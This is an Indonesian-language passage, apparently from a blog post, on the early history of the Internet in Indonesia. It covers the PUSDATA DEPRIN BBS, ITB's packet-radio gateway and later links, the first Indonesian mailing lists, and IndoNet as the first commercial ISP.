/>Putu sebuah nama yang melekat dengan perkembangan PUSDATA DEPRIN waktu masa kepemimpinan Bapak Menteri Tungki Ariwibowo menjalankan BBS pusdata.dprin.go.id. Di masa awal perkembangannya BBS Pak Putu sangat berjasa dalam membangun pengguna e-mail khususnya di jakarta Pak Putu sangat beruntung mempunyai menteri Pak Tungki yang "maniak" IT dan yang mengesankan dari Pak Tungki beliau akan menjawab e-mail sendiri. Barangkali Pak Tungki adalah menteri pertama di Indonesia yang menjawab e-mail sendiri.<br />Suryono Adisoemarta N5SNN di akhir 1992 kembali ke Indonesia, kesempatan tersebut tidak dilewatkan oleh anggota Amateur Radio Club (ARC) ITB seperti Basuki Suhardiman, Aulia K. Arief, Arman Hazairin di dukung oleh Adi Indrayanto untuk mencoba mengembangkan gateway radio paket di ITB. Berawal semangat & bermodalkan PC 286 bekas barangkali ITB merupakan lembaga yang paling miskin yang nekad untuk berkiprah di jaringan PaguyubanNet. Rekan lainnya seperti UI, BPPT, LAPAN, PUSDATA DEPRIN merupakan lembaga yang lebih dahulu terkait ke jaringan di tahun 1990-an mereka mempunyai fasilitas yang jauh lebih baik daripada ITB. Di ITB modem radio paket berupa Terminal Node Controller (TNC) merupakan peralatan pinjaman dari Muhammad Ihsan dari LAPAN.<br />Berawal dari teknologi radio paket 1200bps, ITB kemudian berkembang di tahun 1995-an memperoleh sambungan leased line 14.4Kbps ke RISTI Telkom sebagai bagian dari IPTEKNET akses Internet tetap diberikan secara cuma-cuma kepada rekan-rekan yang lain. September 1996 merupakan tahun peralihan bagi ITB, karena keterkaitan ITB dengan jaringan penelitian Asia Internet Interconnection Initiatives (AI3) sehingga memperoleh bandwidth 1.5Mbps ke Jepang yang terus ditambah dengan sambungan ke TelkomNet & IIX sebesar 2Mbps. ITB akhirnya menjadi salah satu bagian terpenting.<br /><br />[sunting] Mailing List Indonesia<br />Di tahun 1989-1990-an, teman-teman mahasiswa Indonesia di luar negeri mulai membangun tempat diskusi di Internet, salah satu tempat diskusi Indonesia di Internet yang pertama berada di indonesians@janus.berkeley.edu. Berawal dari mailing list pertama di Janus diskusi-diskusi antar teman-teman mahasiswa Indonesia di luar negeri pemikiran alternatif berserta kesadaran masyarakat ditumbuhkan. Pola mailing list ini ternyata terus berkembang dari sebuah mailing list legendaris di janus, akhirnya menjadi sangat banyak sekali mailing list Indonesia terutama di host oleh server di ITB & egroups.com. Mailing list ini akhirnya menjadi salah satu sarana yang sangat strategis dalam pembangunan komunitas di Internet Indonesia.<br /><br />[sunting] Internet Service Provider Indonesia<br />Di sekitar tahun 1994 mulai beroperasi IndoNet yang dipimpin oleh Sanjaya. IndoNet merupakan ISP komersial pertama Indonesia. Pada waktu itu pihak POSTEL belum mengetahui tentang celah-celah bisnis Internet & masih sedikit sekali pengguna Internet di Indonesia. Sambungan awal ke Internet dilakukan menggunakan dial-up oleh IndoNet, sebuah langkah yang cukup nekat barangkali. Lokasi IndoNet masih di daerah Rawamangun di kompleks dosen UI, kebetulan ayah Sanjaya adalah dosen UI.<br />Akses awal di IndoNet mula-mula memakai mode teks dengan shell account, browser lynx dan email client pine pada server AIX.<br />Mulai 1995 beberapa BBS di Indonesia seperti Clarissa menyediakan jasa akses Telnet ke luar negeri. Dengan memakai remote browser Lynx di AS, maka pemakai Internet di Indonesia bisa akses Internet (HTTP).<br />Perkembangan terakhir yang perlu diperhitungkan adalah trend ke arah e-commerce dan warung internet yang satu & lainnya saling menunjang membuahkan masyarakat Indonesia yang lebih solid di dunia informasi. Rekan-rekan e-commerce membangun komunitasnya di beberapa mailing list utama seperti warta-e-commerce@egroups.com, mastel-e-commerce@egroups.com, e-commerce@itb.ac.id & i2bc@egroups.com.<br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0